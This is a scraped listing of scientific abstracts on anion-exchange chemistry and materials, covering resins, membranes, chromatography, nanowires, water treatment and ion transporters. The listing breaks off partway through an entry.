Lai, Minliang; Alivisatos, A Paul; Leone, Stephen R; Yang, Peidong 2016-06-15 Here, we demonstrate the successful synthesis of brightly emitting colloidal cesium lead halide (CsPbX3, X = Cl, Br, I) nanowires (NWs) with uniform diameters and tunable compositions. By using highly monodisperse CsPbBr3 NWs as templates, the NW composition can be independently controlled through anion-exchange reactions. CsPbX3 alloy NWs with a wide range of alloy compositions can be achieved with well-preserved morphology and crystal structure. The NWs are highly luminescent with photoluminescence quantum yields (PLQY) ranging from 20% to 80%. The bright photoluminescence can be tuned over nearly the entire visible spectrum. The high PLQYs together with charge transport measurements exemplify the efficient alloying of the anionic sublattice in a one-dimensional CsPbX3 system. The wires increased functionality in the form of fast photoresponse rates and the low defect density suggest CsPbX3 NWs as prospective materials for optoelectronic applications. 3. Chemical treatment of plutonium with hydrogen peroxide before nitrate anion exchange processing. [Reduction to (IV) SciTech Connect Marsh, S.F.; Gallegos, T.D. 1987-05-01 The major aqueous process used to recover and purify plutonium at the Los Alamos Plutonium Facility is anion exchange in nitric acid. This process is highly selective for plutonium; however, all plutonium must be as Pu(IV) to form the strongly sorbed anionic nitrato complex. The previous ''full-reduction treatment'' used at Los Alamos to obtain Pu(IV) results in a three- to fourfold increase in the feed solution volume and the introduction of kilogram quantities of extraneous salts immediately before a process whose function is to remove such impurities. That treatment has been successfully replaced by a single reagent, hydrogen peroxide, which converts all plutonium to Pu(IV), minimally increases the feed volume, and introduces no residual impurities. Safety aspects of this revised chemical treatment are addressed. 4. Incorporation of multi-walled carbon nanotubes in microspheres used as anion exchange resin via suspension polymerization Fathy, Mahmoud; Abdel Moghny, Th.; Awadallah, Ahmed E.; El-Bellihi, Abdel-Hameed A.-A. 2014-06-01 Amination of vinylbenzyl chloride-divinylbenzene (VBC-DVB) copolymers is an effective method for preparation of anion-exchange resins. Conventionally, the starting polymer is produced by chloromethylation of a styrene-divinylbenzene copolymer that utilizes chloromethyl methyl ether, a known carcinogen. An alterative approach is to copolymerize vinylbenzyl chloride with divinylbenzene to generate the necessary VBC-DVB. This method provides precise control over the density of the ion-exchange groups. The regiochemistry of the vinylbenzyl chloride methods was realized using solvent-ion exchange groups. These resulting anion-exchange polymers were characterized by a variety of techniques such as analytical titrations, transform infrared spectroscopy and thermal gravimetric analysis. Testing of these copolymers for breakthrough was performed. The results indicate that these anion exchangers have a meaningful increase in thermal stability over commercial anionic exchange beads. Resins containing MWCNTs achieved anion exchange capacity value of 323.6 meq/100 g over than that of copolymer resins and that useful in water desalination or treatment. 5. Discrete and infinite 1D, 2D/3D cage frameworks with inclusion of anionic species and anion-exchange reactions of Ag3L2 type receptor with tetrahedral and octahedral anions. PubMed Liu, Hong-Ke; Huang, Xiaohua; Lu, Tianhong; Wang, Xiujian; Sun, Wei-Yin; Kang, Bei-Sheng 2008-06-28 Complexes [PF6 subset(Ag3(titmb)2](PF6)2 (8) and {SbF6 subset[Ag3(titmb)2](SbF6)2}.H2O.1.5 CH3OH (9) are obtained by reaction of titmb and Ag+ salts with different anions (PF6(-) and SbF6(-)), and crystal structures reveal that they are both M3L2 cage complexes with short Ag...F interactions between the silver atoms and the fluorine atoms of the anions. In complex 8, a novel cage dimer is formed by weak Ag...F contacts; an unique cage tetramer formed via Ag...pi interactions (Ag...eta5-imidazole) between dimers and an infinite 1D cage chain is presented. However, each of the external non-disordered SbF6(-) anions connect with six cage 9s via Ag...F contacts, and each cage 9 in turn connects with three SbF6(-) anions to form a 2D network cage layer; and the layers are connected by pi-pi interactions to form a 3D network. The anion-exchange reactions of four Ag3L2 type complexes ([BF4 subset(Ag3(titmb)2](BF4)2 (6), [ClO4 subset(Ag3(titmb)2](ClO4)2 (7b), [PF6 subset(Ag3(titmb)2](PF6)2 (8) and [SbF6 subset(Ag3(titmb)2](SbF6)2.1.5CH3OH (9)) with tetrahedral and octahedral anions (ClO4(-), BF4(-), PF6(-) and SbF6(-)) are also reported. The anion-exchange experiments demonstrate that the anion selective order is SbF6(-) > PF6(-) > BF4(-), ClO4(-), and this anion receptor is preferred to trap octahedral and tetrahedral anions rather than linear or triangle anions; SbF6(-) is the biggest and most preferable one, so far. The dimensions of cage complexes with or without internal anions, anion-exchange reactions, cage assembly and anion inclusions, silver(I) coordination environments, Ag-F and Ag-pi interactions of Ag3L2 complexes 1-9 are discussed. 6. Comparison of reversed-phase/cation-exchange/anion-exchange trimodal stationary phases and their use in active pharmaceutical ingredient and counterion determinations. PubMed Liu, Xiaodong; Pohl, Christopher A 2012-04-06 This study involved three commercial reversed-phase (RP)/anion-exchange (AEX)/cation-exchange (CEX) trimodal columns, namely Acclaim Trinity P1 (Thermo Fisher Scientific), Obelisc R (SIELC Technologies) and Scherzo SM-C18 (Imtakt). Their chromatographic properties were compared in details with respect to hydrophobicity, anion-exchange capacity, cation-exchange capacity, and selectivity, by studying retention behavior dependency on organic solvent, buffer concentration and pH. It was found that their remarkably different column chemistries resulted in distinctive chromatography properties. Trinity P1 exhibited strong anion-exchange and cation-exchange interactions but low RP retention while Scherzo SM-C18 showed strong reversed-phase retention with little cation-exchange and anion-exchange capacities. For Obelisc R, its reversed-phase capacity was weaker than Scherzo SM-C18 but slightly higher than Trinity P1, and its ion-exchange retentions were between Trinity P1 and Scherzo SM-C18. In addition, their difference in selectivity was demonstrated by examples of determining the active pharmaceutical ingredient (API) and counterion of drug products. 7. Highly conductive anion exchange membrane for high power density fuel-cell performance. PubMed Ren, Xiaoming; Price, Samuel C; Jackson, Aaron C; Pomerantz, Natalie; Beyer, Frederick L 2014-08-27 Anion exchange membrane fuel cells (AEMFCs) are regarded as a new generation of fuel cell technology that has the potential to overcome many obstacles of the mainstream proton exchange membrane fuel cells (PEMFCs) in cost, catalyst stability, efficiency, and system size. However, the low ionic conductivity and poor thermal stability of current anion exchange membranes (AEMs) have been the key factors limiting the performance of AEMFCs. In this study, an AEM made of styrenic diblock copolymer with a quaternary ammonium-functionalized hydrophilic block and a cross-linkable hydrophobic block and possessing bicontinuous phases of a hydrophobic network and hydrophilic conduction paths was found to have high ionic conductivity at 98 mS cm(-1) and controlled membrane swelling with water uptake at 117 wt % at 22 °C. Membrane characterizations and fuel cell tests of the new AEM were carried out together with a commercial AEM, Tokuyama A201, for comparison. The high ionic conductivity and water permeability of the new membrane reported in this study is attributed to the reduced torturosity of the ionic conduction paths, while the hydrophobic network maintains the membrane mechanical integrity, preventing excessive water uptake. 8. Bioregeneration of spent anion exchange resin for treatment of nitrate in water. PubMed Meng, Xiaoyang; Vaccari, David A; Zhang, Jianfeng; Fiume, Antonio; Meng, Xiaoguang 2014-01-01 Anion exchange resin treatment is a commonly used technique for removal of nitrate from water. However, spent anion exchange resins are themselves regenerated using brine solution, which produces spent solution containing a high concentration of nitrate and salt. The present study developed a bioregeneration technique for conversion of nitrate on the spent resins to nitrogen gas while eliminating the use of brine solutions. Batch experiments were conducted to investigate the effect of biomass content, pH, salinity, and molar ratio of exogenous organic carbon to nitrate on the kinetics of bioregeneration. The bioregeneration rate decreased when pH increased from 7 to 10. It increased with increasing microbial concentration from 8.3 to 13.8 g/L as volatile suspended solid (VSS) and with decreasing conductivity of the regeneration suspension from 31 to 9 mS/cm. Spent exchange resins were effectively regenerated within 5 h under the optimal conditions and the regenerated resins could be used repeatedly for filtration removal of nitrate from water. A desorption-denitrification model was developed to describe bioregeneration kinetics. Modeling results indicated that the bioregeneration was through desorption of nitrate from the spent resin and subsequent denitrification of the soluble nitrate. Denitrification was the rate-limiting process. This research demonstrated the feasibility of using a biological process to regenerate nitrate-saturated resins. PubMed Lira, Rafael A; Minim, Luis A; Bonomo, Renata C F; Minim, Valéria P R; da Silva, Luis H M; da Silva, Maria C H 2009-05-15 The adsorption of glycomacropeptide (GMP) from cheese whey on an anion-exchange adsorbent was investigated using isothermal titration microcalorimetry to measure thermodynamic information regarding such processes. Isotherms data were measured at temperatures of 25 and 45 degrees C, pH 8.2 and various ionic strengths (0-0.08 molL(-1) NaCl). The equilibrium data were fit using the Langmuir model and the process was observed to be reversible. Temperature was observed to positively affect the interaction of the protein and adsorbent. Microcalorimetric studies indicated endothermic adsorption enthalpy in all cases, except at 45 degrees C and 0.0 molL(-1) NaCl. The adsorption process was observed to be entropically driven at all conditions studied. It was concluded that the increase in entropy, attributed to the release of hydration waters as well as bounded ions from the adsorbent and protein surface due to interactions of the protein and adsorbent, was a major driving force for the adsorption of GMP on the anion-exchange adsorbent. These results could allow for design of more effective ion-exchange separation processes for proteins. 10. New monolith technology for automated anion-exchange purification of nucleic acids. PubMed Thayer, J R; Flook, K J; Woodruff, A; Rao, S; Pohl, C A 2010-04-15 Synthetic nucleic acid analysis often employs pellicular anion-exchange (AE) chromatography because it supports very high efficiency separations while offering means to control secondary structure, retention and resolution by readily modifiable chromatographic conditions. However, these pellicular anion-exchange (pAE) phases do not offer capacity sufficient for lab-scale oligonucleotide (ON) purification. In contrast, monolithic phases produce fast separations at capacities exceeding their pellicular counterparts, but do not exhibit capacities typical of fully porous, bead-based, anion-exchangers. In order to further increase monolith capacity and obtain the selectivity and mass transfer characteristics of pellicular phases, a surface-functionalized monolith was coated with pAE nanobeads (latexes) usually employed on the pellicular DNAPac phase. The nanobead-coated monolith exhibited chromatographic behaviors typical of polymer AE phases. Based on this observation the monolithic substrate surface porosity and latex diameters were co-optimized to produce a hybrid monolith harboring capacity similar to that of fully porous bead-based phases and peak shape approaching that of the pAE phases. We tested the hybrid monolith on a variety of previously developed pAE capabilities including control of ON selectivity, resolution of derivatized ONs, the ability to resolve RNA ONs harboring aberrant linkages at different positions in a single sequence and separation of phosphorothioate diastereoisomers. We compared the yield and purity of an 8 mg ON sample purified on both the new hybrid monolith and a benchmark AE column based on fully porous monodisperse beads. This comparison included an assessment of the relative selectivities of both columns. Finally, we demonstrated the ability to couple AE ON separations with ESI-MS using an automated desalting protocol. This protocol is also useful for preparing ONs for other assays, such as enzyme treatments, that may be sensitive to 11. Fe electron transfer and atom exchange in goethite: influence of Al-substitution and anion sorption. PubMed Latta, Drew E; Bachman, Jonathan E; Scherer, Michelle M 2012-10-02 The reaction of Fe(II) with Fe(III) oxides and hydroxides is complex and includes sorption of Fe(II) to the oxide, electron transfer between sorbed Fe(II) and structural Fe(III), reductive dissolution coupled to Fe atom exchange, and, in some cases mineral phase transformation. Much of the work investigating electron transfer and atom exchange between aqueous Fe(II) and Fe(III) oxides has been done under relatively simple aqueous conditions in organic buffers to control pH and background electrolytes to control ionic strength. Here, we investigate whether electron transfer is influenced by cation substitution of Al(III) in goethite and the presence of anions such as phosphate, carbonate, silicate, and natural organic matter. Results from (57)Fe Mössbauer spectroscopy indicate that both Al-substitution (up to 9%) and the presence of common anions (PO(4)(3-), CO(3)(2-), SiO(4)(4-), and humic acid) does not inhibit electron transfer between aqueous Fe(II) and Fe(III) in goethite under the conditions we studied. In contrast, sorption of a long-chain phospholipid completely shuts down electron transfer. Using an enriched isotope tracer method, we found that Al-substitution in goethite (10%), does, however, significantly decrease the extent of atom exchange between Fe(II) and goethite (from 43 to 12%) over a month's time. Phosphate, somewhat surprisingly, appears to have little effect on the rate and extent of atom exchange between aqueous Fe(II) and goethite. Our results show that electron transfer between aqueous Fe(II) and solid Fe(III) in goethite can occur under wide range of geochemical conditions, but that the extent of redox-driven Fe atom exchange may be dependent on the presence of substituting cations such as Al. 12. Determination of uranium isotopes in environmental samples by anion exchange in sulfuric and hydrochloric acid media. PubMed Popov, L 2016-09-01 Method for determination of uranium isotopes in various environmental samples is presented. The major advantages of the method are the low cost of the analysis, high radiochemical yields and good decontamination factors from the matrix elements, natural and man-made radionuclides. The separation and purification of uranium is attained by adsorption with strong base anion exchange resin in sulfuric and hydrochloric acid media. Uranium is electrodeposited on a stainless steel disk and measured by alpha spectrometry. The analytical method has been applied for the determination of concentrations of uranium isotopes in mineral, spring and tap waters from Bulgaria. The analytical quality was checked by analyzing reference materials. 13. TREATMENT FOR IMPROVING THE OPERATION OF STRONG BASE ANION EXCHANGE RESINS DOEpatents Stevenson, P.C. 1960-11-29 A process is offered for improving quaternary ammonium type strongly basic anion exchange resins so that centain zinc and cadmium residues, which normally stick to and "poison" this type of resin, can be removed by elution. Specifically, the resin as obtained commercially is treated with an aqueous solution of sodium hydroxide of about 1 to 4 M concentration by heating therein and periodically adding small amounts of oxidizing agent selected from hydrogen peroxide, sodium peroxide and hypochlorite. Zinc and cadmium values may then be adsorbed onto the resin from a 0.1 to 3 M HCl and thereafter eluted therefrom with very dilute HCl solutions. 14. Anion-exchange method for determination of phytate in foods: collaborative study. PubMed Harland, B F; Oberleas, D 1986-01-01 Phytate, a naturally occurring organic compound found in plant seeds, roots, and tubers, was determined in a collaborative study using a modified anion-exchange method. Seven samples (peanut flour, oats, rice, isolated soybean protein, a vegetarian diet composite, wheat bran, and whole wheat bread), supplied as blind duplicate samples, were analyzed in triplicate by 7 collaborators. Phytate concentrations in the samples ranged from 2.38 to 46.70 mg/g. Relative standard deviations (RSD = CV) for repeatability ranged from 2.5 to 10.1%, and for reproducibility, from 4.5 to 11.0%. The method has been adopted official first action. 15. Separation of small inorganic anions using methacrylate-based anion-exchange monolithic column prepared by low temperature UV photo-polymerization. PubMed Takahashi, Mutsumi; Hirano, Tomohiko; Kitagawa, Shinya; Ohtani, Hajime 2012-04-06 A methacrylate-based anion-exchange monolithic column was prepared by a single-step UV photo-copolymerization of [2-(methacryloyloxy)ethyl]-trimethyl ammonium chloride, butylmethacrylate, and ethylene dimethacrylate at a low temperature of -15 °C. The anion-exchange column exhibited good separation efficiency for the small inorganic anions of NO(2)(-), Br(-), NO(3)(-), and I(-) in the isocratic mode. Under the conditions optimized using a mobile phase of 50% ACN containing 100mM of NaCl, the theoretical plate heights of the anions were within the range of 12.2-15.6 μm (N, 64,000-82,000 m(-1); k, 0.2-1.6); and a value of 9.4 μm (N, 110,000 m(-1)) was achieved for t(0). The flow resistance of the column was acceptably low with a permeability of 2.7 × 10(-13) m(2). Fast gradient elution at a flow rate of 32 mm/s resulted in rapid and precise separation of the inorganic anions of IO(3)(-), NO(2)(-), Br(-), NO(3)(-), and I(-) within 20s. 16. Anion exchange reaction potentials as approximate estimates of the relative thermodynamic stabilities of Mg/Al layered double hydroxides containing different anions. PubMed Prasad, Belavalli E; Kamath, P Vishnu; Vijayamohanan, K 2011-11-15 Coatings of hydrotalcite-like nitrate-intercalated Mg/Al layered double hydroxides are electrochemically deposited on a Pt electrode by electrogeneration of base by reduction of a mixed metal nitrate aqueous solution. As-prepared coatings are stable to workup and function as rugged electrodes. The voltammetric response generated by anion exchange of intercalated nitrate for dissolved anions from solution under equilibrium conditions is employed to estimate the thermodynamic stabilities of the Mg/Al layered double hydroxides comprising different anions relative to the nitrate-containing phase. Among monovalent anions, the most stable is the fluoride-containing LDH (ΔG° = -48.7 kJ mol(-1)) relative to the nitrate-containing LDH. The stability in aqueous phase decreases as F(-) > Cl(-) > Br(-) > NO(2)(-) > NO(3)(-), whereas, among divalent anions, SO(4)(2-) (ΔG° = -8.7 kJ mol(-1)) > CO(3)(2-) (ΔG° = 14.3 kJ mol(-1)). The results of monovalent ions match well with the Miyata series, whereas the divalent anion series is at variance with the commonly held belief that carbonate-LDHs are more stable than sulfate-LDHs. 17. Exchange of interlayer terephthalate anions from a Mg Al layered double hydroxide: formation of intermediate interstratified phases Kaneyoshi, Masami; Jones, William 1998-10-01 The exchange of interlayer terephthalate (TA) anions from a Mg-Al layered double hydroxide (LDH) by carbonate, sulfate, chloride and nitrate anions is reported. It is shown that TA is readily exchanged by CO 32- and SO 42- but only partly by Cl - and NO 3-. We demonstrate that during the exchange process interstratified phases are observed. Such interstratification has previously been reported only for directly synthesised materials. The origin of the interstratification is believed to be associated with two preferred orientations of TA anions within the layers, i.e. vertical or horizontal to the clay sheets. Two models for the possible exchange mechanism which is operating in these systems are proposed. 18. Comparison among three anion exchange chromatographic supports to capture erythropoietin from cell culture supernatant. PubMed Hernández, Lourdes; Stewart, Diobel; Zumalacárregui, Lourdes; Amaro, Daniel 2015-06-01 Affinity and ion exchange conventional chromatography have been used to capture erythropoietin (EPO) from mammalian cell culture supernatant. Currently, chromatographic adsorbent perfusion is available, however a limited number of applications have been found in the literature. In this work, three anion exchange chromatographic supports (gel, membrane and monolithic) were evaluated in the capture step of the recombinant erythropoietin purification process. The influences of load and flow rate on each support performance were analyzed. Also the purity of the EPO molecules was determined. A productivity analysis, as a decision tool for larger scale implementation, was done. As a conclusion, the evaluated supports are technically suitable to capture EPO with adequate recovery and good purity. However, the monolithic column admits high operating velocity, showing the highest adsorption capacity and productivity. 19. Thermally Cross-Linked Anion Exchange Membranes from Solvent Processable Isoprene Containing Ionomers SciTech Connect Tsai, Tsung-Han; Ertem, S. Piril; Maes, Ashley M.; Seifert, Soenke; Herring, Andrew M; Coughlin, E. Bryan 2015-01-28 Random copolymers of isoprene and 4-vinylbenzyl chloride (VBCl) with varying compositions were synthesized via nitroxide-mediated polymerization. Subsequent quaternization afforded solvent processable and cross-linkable ionomers with a wide range of ion exchange capacities (IECs). Solution cast membranes were thermally cross-linked to form anion exchange membranes. Cross-linking was achieved by taking advantage of the unsaturations on the polyisoprene backbone, without added cross-linkers. A strong correlation was found between water uptake and ion conductivity of the membranes: conductivities of the membranes with IECs beyond a critical value were found to be constant related to their high water absorption. Environmentally controlled small-angle X-ray scattering experiments revealed a correlation between the average distance between ionic clusters and the ion conductivity, indicating that a well-connected network of ion clusters is necessary for efficient ion conduction and high ion conductivity. 20. Removal of chloride ion from aqueous solution by ZnAl-NO(3) layered double hydroxides as anion-exchanger. PubMed Lv, Liang; Sun, Peide; Gu, Zhengyu; Du, Hangeng; Pang, Xiangjun; Tao, Xiaohong; Xu, Rufeng; Xu, Lili 2009-01-30 The layered double hydroxides (LDHs) containing nitrate as the interlayer anion has a high anion-exchange capacity in the presence of appropriate anions. In the light of this, ZnAl-NO(3) LDHs have been employed to remove chloride ion from aqueous solution in a batch mode. The influences of conditions for chloride ion uptake, including dosage of LDHs, pH of aqueous solution, and temperature on anion-exchange have been investigated, respectively. The thermodynamic parameters including Gibbs free energy (DeltaG(0)), standard enthalpy change (DeltaH(0)), and standard entropy change (DeltaS(0)) for the process were calculated using the Langmuir constants. It was found from kinetics test that the pseudo-second order kinetics model could be used to well describe the uptake process. An E(a) value of 10.27 kJ/mol provides evidence the anion-exchange process. The explanation of anion-exchange phenomenon has also been supported by X-ray diffraction and FT-IR spectra. 1. Diclofenac removal in urine using strong-base anion exchange polymer resins. PubMed Landry, Kelly A; Boyer, Treavor H 2013-11-01 One of the major sources of pharmaceuticals in the environment is wastewater effluent of which human urine contributes the majority of pharmaceuticals. Urine source separation has the potential to isolate pharmaceuticals at a higher concentration for efficient removal as well as produce a nutrient byproduct. This research investigated the efficacy of using strong-base anion exchange polymer resins to remove the widely detected and abundant pharmaceutical, diclofenac, from synthetic human urine under fresh and ureolyzed conditions. The majority of experiments were conducted using a strong-base, macroporous, polystyrene resin (Purolite A520E). Ion-exchange followed a two-step removal rate with rapid removal in 1 h and equilibrium removal in 24 h. Diclofenac removal was >90% at a resin dose of 8 mL/L in both fresh and ureolyzed urine. Sorption of diclofenac onto A520E resin was concurrent with desorption of an equivalent amount of chloride, which indicates the ion-exchange mechanism is occurring. The presence of competing ions such as phosphate and citrate did not significantly impact diclofenac removal. Comparisons of three polystyrene resins (A520E, Dowex 22, Dowex Marathon 11) as well as one polyacrylic resin (IRA958) were conducted to determine the major interactions between anion exchange resin and diclofenac. The results showed that polystyrene resins provide the highest level of diclofenac removal due to electrostatic interactions between quaternary ammonium functional groups of resin and carboxylic acid of diclofenac and non-electrostatic interactions between resin matrix and benzene rings of diclofenac. Diclofenac was effectively desorbed from A520E resin using a regeneration solution that contained 4.5% (m/m) NaCl in an equal-volume mixture of methanol and water. The greater regeneration efficiency of the NaCl/methanol-water mixture over the aqueous NaCl solution supports the importance of non-electrostatic interactions between resin matrix and benzene rings 2. Anion exchange strategy to synthesis of porous NiS hexagonal nanoplates for supercapacitors Li, Zhongchun; Yu, Xuewei; Gu, Aijun; Tang, Huang; Wang, Liangbiao; Lou, Zhengsong 2017-02-01 A facile anion exchange strategy was applied to the synthesis of porous NiS hexagonal nanoplates (NiS HNPs) as an electrode material for supercapacitors. It was found that Na2S concentration is a key factor to achieve porous NiS hexagonal nanoplates with well-defined architecture. Porous NiS hexagonal nanoplates exhibited a specific capacitance of 1897 F g-1 at a current density of 1 A g-1. NiS HNPs//activated carbon (AC) asymmetric supercapacitor (ASC) shows a long cycle lifespan (about 100% capacity retention after 4000 cycles at a current density of 3 A g-1) with a maximum energy density of 11.6 Wh kg-1 at a large loading mass of about 30 mg. Impressively, two NiS HNPs//AC ASCs in series could light up a red LED for about 30 min. The remarkable electrochemical performance of NiS HNPs is ascribed to their unique hierarchical porous architectures. The anion exchange method is a facile and versatile strategy for the synthesis of metal sulfides with high performance for energy storage. 3. Phosphorus recovery from microbial biofuel residual using microwave peroxide digestion and anion exchange. PubMed Gifford, McKay; Liu, Jianyong; Rittmann, Bruce E; Vannela, Raveender; Westerhoff, Paul 2015-03-01 Sustainable production of microalgae for biofuel requires efficient phosphorus (P) utilization, which is a limited resource and vital for global food security. This research tracks the fate of P through biofuel production and investigates P recovery from the biomass using the cyanobacterium Synechocystis sp. PCC 6803. Our results show that Synechocystis contained 1.4% P dry weight. After crude lipids were extracted (e.g., for biofuel processing), 92% of the intracellular P remained in the residual biomass, indicating phospholipids comprised only a small percentage of cellular P. We estimate a majority of the P is primarily associated with nucleic acids. Advanced oxidation using hydrogen peroxide and microwave heating released 92% of the cellular P into orthophosphate. We then recovered the orthophosphate from the digestion matrix using two different types of anion exchange resins. One resin impregnated with iron nanoparticles adsorbed 98% of the influent P through 20 bed volumes, but only released 23% during regeneration. A strong-base anion exchange resin adsorbed 87% of the influent P through 20 bed volumes and released 50% of it upon regeneration. This recovered P subsequently supported growth of Synechocystis. This proof-of-concept recovery process reduced P demand of biofuel microalgae by 54%. 4. Removal of tartrazine from aqueous solutions by strongly basic polystyrene anion exchange resins. PubMed Wawrzkiewicz, Monika; Hubicki, Zbigniew 2009-05-30 The removal of tartrazine from aqueous solutions onto the strongly basic polystyrene anion exchangers of type 1 (Amberlite IRA-900) and type 2 (Amberlite IRA-910) was investigated. The experimental data obtained at 100, 200, 300 and 500 mg/dm(3) initial concentrations at 20 degrees C were applied to the pseudo-first order, pseudo-second order and Weber-Morris kinetic models. The calculated sorption capacities (q(e,cal)) and the rate constant of the first order adsorption (k(1)) were determined. The pseudo-second order kinetic constants (k(2)) and capacities were calculated from the plots of t/q(t) vs. t, 1/q(t) vs. 1/t, 1/t vs. 1/q(t) and q(t)/t vs. q(t) for type 1, type 2, type 3 and type 4 of the pseudo-second order expression, respectively. The influence of phase contact time, solution pH and temperature on tartrazine removal was also discussed. The FTIR spectra of pure anion exchangers and those loaded with tartrazine were recorded, too. 5. A novel self-adaptive microalgae photobioreactor using anion exchange membranes for continuous supply of nutrients. PubMed Fu, Qian; Chang, Hai-Xing; Huang, Yun; Liao, Qiang; Zhu, Xun; Xia, Ao; Sun, Ya-Hui 2016-08-01 A novel self-adaptive microalgae photobioreactor using anion exchange membranes (AEM-PBR) for continuous supply of nutrients was proposed to improve microalgae biomass production. The introduction of anion exchange membranes to the PBR can realize continuous supply of nutrients at desired rates, which is beneficial to the growth of microalgae. The results showed that the maximum biomass concentration obtained in the AEM-PBR under continuous supply of nitrogen at an average rate of 19.0mgN/L/d was 2.98g/L, which was 129.2% higher than that (1.30g/L) in a PBR with all the nitrogen supplied in batch at initial. In addition, the feeding rates of nitrogen and phosphorus were optimized in the AEM-PBR to maximize biomass production. The maximum biomass concentration of 4.38g/L was obtained under synergistic regulation of nitrogen and phosphorus feeding rates at 19.0mgN/L/d and 4.2mgP/L/d. The AEM-PBR demonstrates a promising approach for high-density cultivation of microalgae. 6. The recovery of zinc from hot galvanizing slag in an anion-exchange membrane electrolysis reactor. PubMed Ren, Xiulian; Wei, Qifeng; Hu, Surong; Wei, Sijie 2010-09-15 This paper reports the optimization of the process parameters for recovery of zinc from hot galvanizing slag in an anion-exchange membrane electrolysis reactor. The experiments were carried out in an ammoniacal ammonium chloride system. The influence of composition of electrolytes, pH, stirring rate, current density and temperature, on cathodic current efficiency, specific power consumption and anodic dissolution of Zn were investigated. The results indicate that the cathode current efficiency increases and the hydrogen evolution decreased with increasing the cathode current density. The partial current for electrodeposition of Zn has liner relationship with omega(1/2) (omega: rotation rate). The highest current efficiency for dissolving zinc was obtained when NH(4)Cl concentration was 53.46 g L(-1) and the anodic dissolution of zinc was determined by mass transfer rate at stirring rate 0-300 r min(-1). Increase in temperature benefits to improve CE and dissolution of Zn, and reduce cell voltage. Initial pH of electrolytes plays an important role in the deposition and anodic dissolution of Zn. The results of single factor experiment show that about 50% energy consumption was saved for electrodeposition of Zn in the anion-exchange membrane electrolysis reactor. 7. Effects of the anion salt nature on the rate constants of the aqueous proton exchange reactions. PubMed Paredes, Jose M; Garzon, Andres; Crovetto, Luis; Orte, Angel; Lopez, Sergio G; Alvarez-Pez, Jose M 2012-04-28 The proton-transfer ground-state rate constants of the xanthenic dye 9-[1-(2-methyl-4-methoxyphenyl)]-6-hydroxy-3H-xanthen-3-one (TG-II), recovered by Fluorescence Lifetime Correlation Spectroscopy (FLCS), have proven to be useful to quantitatively reflect specific cation effects in aqueous solutions (J. M. Paredes, L. Crovetto, A. Orte, J. M. Alvarez-Pez and E. M. Talavera, Phys. Chem. Chem. Phys., 2011, 13, 1685-1694). Since these phenomena are more sensitive to anions than to cations, in this paper we have accounted for the influence of salts with the sodium cation in common, and the anion classified according to the empirical Hofmeister series, on the proton transfer rate constants of TG-II. We demonstrate that the presence of ions accelerates the rate of the ground-state proton-exchange reaction in the same order than ions that affect ion solvation in water. The combination of FLCS with a fluorophore undergoing proton transfer reactions in the ground state, along with the desirable feature of a pseudo-dark state when the dye is protonated, allows one unique direct determination of kinetic rate constants of the proton exchange chemical reaction. 8. Towards high conductivity in anion-exchange membranes for alkaline fuel cells. PubMed Li, Nanwen; Guiver, Michael D; Binder, Wolfgang H 2013-08-01 Quaternized poly(2,6-dimethylphenylene oxide) materials (PPOs) containing clicked 1,2,3-triazoles were first prepared through Cu(I) -catalyzed "click chemistry" to improve the anion transport in anion-exchange membranes (AEMs). Clicked 1,2,3-triazoles incorporated into AEMs provided more sites to form efficient and continuous hydrogen-bond networks between the water/hydroxide and the triazole for anion transport. Higher water uptake was observed for these triazole membranes. Thus, the membranes showed an impressive enhancement of the hydroxide diffusion coefficient and, therefore, the anion conductivities. The recorded hydroxide conductivity was 27.8-62 mS cm(-1) at 20 °C in water, which was several times higher than that of a typical PPO-based AEM (TMA-20) derived from trimethylamine (5 mS cm(-1) ). Even at reduced relative humidity, the clicked membrane showed superior conductivity to a trimethylamine-based membrane. Moreover, similar alkaline stabilities at 80 °C in 1 M NaOH were observed for the clicked and non-clicked membranes. The performance of a H2 /O2 single cell assembled with a clicked AEM was much improved compared to that of a non-clicked TMA-20 membrane. The peak power density achieved for an alkaline fuel cell with the synthesized membrane 1a(20) was 188.7 mW cm(-2) at 50 °C. These results indicated that clicked AEM could be a viable strategy for improving the performance of alkaline fuel cells. 9. Molecular Basis for Differential Anion Binding and Proton Coupling in the Cl−/H+ Exchanger ClC-ec1 PubMed Central 2016-01-01 Cl−/H+ transporters of the CLC superfamily form a ubiquitous class of membrane proteins that catalyze stoichiometrically coupled exchange of Cl− and H+ across biological membranes. CLC transporters exchange H+ for halides and certain polyatomic anions, but exclude cations, F−, and larger physiological anions, such as PO43− and SO42−. Despite comparable transport rates of different anions, the H+ coupling in CLC transporters varies significantly depending on the chemical nature of the transported anion. Although the molecular mechanism of exchange remains unknown, studies on bacterial ClC-ec1 transporter revealed that Cl− binding to the central anion-binding site (Scen) is crucial for the anion-coupled H+ transport. Here, we show that Cl−, F−, NO3−, and SCN− display distinct binding coordinations at the Scen site and are hydrated in different manners. Consistent with the observation of differential bindings, ClC-ec1 exhibits markedly variable ability to support the formation of the transient water wires, which are necessary to support the connection of the two H+ transfer sites (Gluin and Gluex), in the presence of different anions. While continuous water wires are frequently observed in the presence of physiologically transported Cl−, binding of F− or NO3− leads to the formation of pseudo-water-wires that are substantially different from the wires formed with Cl−. Binding of SCN−, however, eliminates the water wires altogether. These findings provide structural details of anion binding in ClC-ec1 and reveal a putative atomic-level mechanism for the decoupling of H+ transport to the transport of anions other than Cl−. PMID:26880377 10. Molecular Basis for Differential Anion Binding and Proton Coupling in the Cl(-)/H(+) Exchanger ClC-ec1. PubMed 2016-03-09 Cl–/H+ transporters of the CLC superfamily form a ubiquitous class of membrane proteins that catalyze stoichiometrically coupled exchange of Cl– and H+ across biological membranes. CLC transporters exchange H+ for halides and certain polyatomic anions, but exclude cations, F–, and larger physiological anions, such as PO43– and SO42–. Despite comparable transport rates of different anions, the H+ coupling in CLC transporters varies significantly depending on the chemical nature of the transported anion. Although the molecular mechanism of exchange remains unknown, studies on bacterial ClC-ec1 transporter revealed that Cl– binding to the central anion-binding site (Scen) is crucial for the anion-coupled H+ transport. Here, we show that Cl–, F–, NO3–, and SCN– display distinct binding coordinations at the Scen site and are hydrated in different manners. Consistent with the observation of differential bindings, ClC-ec1 exhibits markedly variable ability to support the formation of the transient water wires, which are necessary to support the connection of the two H+ transfer sites (Gluin and Gluex), in the presence of different anions. While continuous water wires are frequently observed in the presence of physiologically transported Cl–, binding of F– or NO3– leads to the formation of pseudo-water-wires that are substantially different from the wires formed with Cl–. Binding of SCN–, however, eliminates the water wires altogether. These findings provide structural details of anion binding in ClC-ec1 and reveal a putative atomic-level mechanism for the decoupling of H+ transport to the transport of anions other than Cl–. 11. High-performance purification of gelsolin from plasma using 